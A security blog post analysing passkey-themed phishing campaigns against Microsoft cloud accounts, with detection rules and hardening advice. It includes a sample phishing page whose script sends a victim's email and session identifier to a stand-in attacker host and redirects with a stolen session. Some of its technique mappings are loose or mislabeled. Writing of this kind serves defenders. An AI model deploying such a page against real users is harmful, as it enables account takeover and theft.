Originally published on satyamrastogi.com

Two coordinated campaigns targeting Microsoft cloud environments use mass phishing and passkey-themed social engineering to compromise accounts. Attackers leverage third-party email infrastructure and CEO impersonation tactics to bypass modern authentication controls.

---

Passkey Phishing: Microsoft Cloud Account Hijacking via Social Engineering

Executive Summary

Two distinct threat actor campaigns have successfully weaponized passkey authentication mechanisms and third-party email delivery infrastructure to conduct large-scale account compromise operations against Microsoft cloud environments. The first campaign delivered over one million malicious emails between August 3-5, 2026, impersonating C-suite executives and financial institutions. Attack success hinges on a critical gap: passkey adoption creates new social engineering vectors that defenders haven't fully operationalized into their detection strategies.

From an attacker's perspective, this represents a paradigm shift. Traditional MFA bypass techniques (SIM swap, token interception, push notification fatigue) face increasing friction. Passkeys eliminate those vectors entirely-but introduce a new vulnerability: users haven't developed cognitive defenses against passkey-specific phishing. The attacker community has weaponized this knowledge gap faster than enterprise security teams can deploy countermeasures.

This analysis examines the attack chain, attacker infrastructure decisions, and defensive detection gaps that allowed these campaigns to achieve million-scale volume with minimal credential harvesting overhead.

Attack Vector Analysis

Campaign 1: Mass Email Delivery via Compromised Third-Party Infrastructure

The use of third-party email delivery platforms (transactional email services, SMTP relay providers, or compromised SaaS accounts) indicates attacker prioritization of deliverability and DKIM/SPF legitimate signing over sender reputation. This decision trades operational complexity for scale.

Why third-party infrastructure?

• Direct domain abuse risks account suspension; third-party platforms absorb sender reputation damage
• Attackers likely compromised legitimate marketing automation accounts or mail relay services to gain pre-authenticated SMTP access
• Email filtering rules whitelist transactional delivery services (shipping notifications, password resets, invoices) at higher rates than direct domain sending

This maps to MITRE ATT&CK T1566.002 - Phishing: Spearphishing Link with infrastructure obfuscation and MITRE ATT&CK T1199 - Trusted Relationship exploitation.

Campaign 2: Passkey-Themed Social Engineering

The second campaign's passkey-specific targeting exploits a critical user psychology vulnerability: passkeys are marketed as "phishing-proof" and "more secure," creating false confidence that users don't need traditional authentication skepticism.

Attacker exploitation logic:

• User receives email claiming "Upgrade your account security - activate passkey authentication"
• User believes passkeys are immune to phishing (accurate for interception; false for social engineering)
• User clicks link to "register passkey"
• Attacker captures session token, WebAuthn credential callback, or session hijacking vector
• Attacker gains cloud account access without compromising the actual passkey

This represents MITRE ATT&CK T1598.003 - Phishing for Information: Spearphishing Link combined with MITRE ATT&CK T1187 - Forced Authentication. The attacker isn't stealing the passkey-they're stealing the authentication session or using the phishing redirect to capture alternative credentials (backup codes, security questions, recovery email).

CEO Impersonation Tactical Layer

Using executive identity as lure increases:

• Click-through rates (authority bias, urgency)
• Psychological bypass of security awareness training ("CFO sent this, it must be legitimate")
• Lateral movement potential (finance-to-IT credential elevation chains common in incident response)

This is MITRE ATT&CK T1566.002 - Phishing: Spearphishing Link with organizational targeting overlay.

Technical Deep Dive

Email Delivery Infrastructure Reconnaissance

Attackers likely performed passive recon on target organizations' email infrastructure:

# Attacker reconnaissance phase
nslookup -type=MX target.com # Identify mail providers
nslookup -type=TXT target.com # Extract SPF/DKIM domains

# Output example:
# v=spf1 include:sendgrid.net include:mailgun.org ~all
# Results: Trusted third-party services whitelist themselves

Attackers then compromise credentials to these services or purchase access from initial access brokers (IABs) specializing in marketing automation platform compromise.

Passkey Phishing Page Technical Implementation

The phishing infrastructure likely mimics Microsoft Authenticator or Windows Hello passkey registration flows:

<!-- Attacker-hosted phishing page -->
<form id="passkey-form">
 <input type="email" id="email" placeholder="Email address" />
 <button onclick="initiatePasskeyRegister()">Register Passkey</button>
</form>

<script>
async function initiatePasskeyRegister() {
 const email = document.getElementById('email').value;

 // Attacker's server receives email and session identifier
 const response = await fetch('https://attacker-c2.com/register', {
 method: 'POST',
 body: JSON.stringify({
 email: email,
 session_id: sessionStorage.getItem('_session'),
 timestamp: Date.now()
 })
 });

 // If user has passwordless auth configured, this is where
 // attacker exfiltrates session tokens or recovery codes
 const data = await response.json();

 // Redirect to legitimate Microsoft login with stolen session token
 // or present fake "passkey registration" dialog to capture backup auth
 window.location = 'https://login.microsoftonline.com/?sid=' + data.stolen_session;
}
</script>

The critical vulnerability: users don't possess mental models for passkey phishing. When traditional MFA is bypassed, users see a credentials prompt (username/password). When passkey phishing redirects to real Microsoft login, users see legitimate UI and authenticate with real credentials, which the phishing page logs.

Session Hijacking Post-Phishing

Once user data is captured, attackers perform account takeover via:

1. Credential replay on legitimate Microsoft endpoints
2. Session token hijacking if captured during redirect
3. Recovery code exploitation (often sent via email during "security upgrade")
4. Legacy authentication method fallback (password reset emails, security questions)

This maps to MITRE ATT&CK T1110.004 - Brute Force: Credential Stuffing and MITRE ATT&CK T1621 - Multi-Stage Channels.

Detection Strategies

Email Gateway Detection

Red flag indicators:

• Email sent from third-party delivery services but claiming to be from executive domain
• SPF/DKIM pass but DMARC policy is "none" or "quarantine" (not reject)
• Passkey/authentication upgrade language in high-volume campaigns (>10K identical messages in 24 hours)
• Sender address mismatches ([e-mail] claiming to be [e-mail])

Detection rule (YARA-style logic):
if (
 (sender_domain NOT IN company_approved_domains) AND
 (message_subject contains ["passkey", "security upgrade", "urgent verification"]) AND
 (smtp_auth_user in ["sendgrid", "mailgun", "postmark", "aws ses"]) AND
 (recipient_count > 100)
) {
 ALERT: "Passkey phishing campaign detected"
}

Behavior Analysis

• Monitor for unusually rapid authentication attempts from compromised cloud accounts immediately post-phishing delivery (3-5 minutes)
• Flag accounts with simultaneous logins from geographically impossible locations
• Alert on new Oauth app registrations or API credential creation within 24 hours of phishing delivery

Passkey-Specific Detection

• Monitor Microsoft Entra logs for WebAuthn credential registration anomalies (e.g., registration via unexpected geolocation)
• Flag backup authentication code usage within 30 minutes of phishing campaign delivery
• Alert on password reset requests for accounts that have passkeys registered (legitimate users rarely mix auth methods)

Mitigation & Hardening

Immediate Actions

1. DMARC Enforcement: Deploy DMARC reject policy (not quarantine). Attackers cannot forge executive domain if DMARC fails hard.

 v=DMARC1; p=reject; rua=mailto:[e-mail]; fo=1

1. Third-Party Email Infrastructure Allowlist: Restrict outbound email relay to pre-approved transactional services. Monitor all SMTP auth logs for unauthorized access.

2. Passkey Recovery Code Hardening: Never send backup authentication codes via email (attacker-visible channel). Use hardware tokens or in-person distribution only.

Medium-Term Controls

1. Cloud Account Conditional Access: Deploy MITRE ATT&CK T1550.001 - Use Alternate Authentication Material: Application Access Token mitigation via Entra Conditional Access:

   • Block login attempts from Tor exit nodes, VPN infrastructure, and datacenter IP ranges
   • Require passwordless sign-in (Windows Hello, FIDO2 hardware key) for new device registration
   • Alert on OAuth app registrations created within 1 hour of anomalous login

2. Passkey UX Improvements: Educate users that passkey registration should occur in Settings, not via email links. Phishing emails often claim "click here to upgrade to passkeys," but legitimate vendors start upgrade flows in authenticated sessions.

3. Email User Training: Teach users that executives never request authentication upgrades via email. All account security changes originate from user-initiated Settings changes, not email-driven prompts.

Advanced Detection

1. SMTP Replay Detection: Deploy solutions that monitor for account compromises via:

   • Rapid OAuth token creation post-authentication
   • Forwarding rule creation (MITRE ATT&CK T1114.003 - Email Collection: Email Forwarding Rule](https://attack.mitre.org/techniques/T1114/003/))
   • eDiscovery export requests
   • Data loss prevention (DLP) alerts

2. WebAuthn Assertion Analysis: Monitor Windows Hello and passkey registration events for:

   • Registrations from unexpected geographies
   • Hardware key registrations followed immediately by backup code usage
   • Multiple rapid registration attempts (indicator of brute force against recovery mechanisms)

Key Takeaways

• Passkeys shift the attack surface from credential interception to social engineering: Users believe passkeys are "phishing-proof" and lower their guard. Attackers exploit this psychological vulnerability by redirecting to real authentication portals and capturing sessions or recovery codes.

• Third-party email infrastructure abuse is operationally efficient for scale: Attackers compromise legitimate SaaS accounts to send phishing at million-scale volume while maintaining sender reputation. DMARC enforcement and third-party email allowlisting reduce this vector's viability.

• CEO impersonation + financial urgency = highest click-through rates: This campaign succeeded because authority bias and time pressure override security training. Detection must focus on organizational context (is passkey upgrade truly needed?) rather than individual email forensics.

• Recovery mechanisms are the new weak link: Passkeys eliminate password theft, but recovery codes, backup emails, and security questions remain accessible via phishing. Hardening recovery flows is as critical as passkey deployment itself.

• Similar attack patterns are already deployed at scale in parallel campaigns: Defenders should expect 500K-2M volume per campaign weekly. Single-email detection is insufficient; campaign-level analysis (volume clustering, timing patterns, targeting overlap) is mandatory.

Related Articles

AI-Generated Personalized Phishing at Scale: 1M Emails in 72 Hours

Enterprise AI Security Strategy: Attacker Playbook & Defense Gaps

Cloud Asset Security in the AI Era: Attacker Tradecraft & Enterprise Blind Spots

References

• MITRE ATT&CK Framework: https://attack.mitre.org/
• Microsoft Entra Security Best Practices: https://www.microsoft.com/en-us/security/
• OWASP Authentication Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
• CISA Email Security: https://www.cisa.gov/email-security
• NIST Cybersecurity Framework: https://www.nist.gov/cybersecurity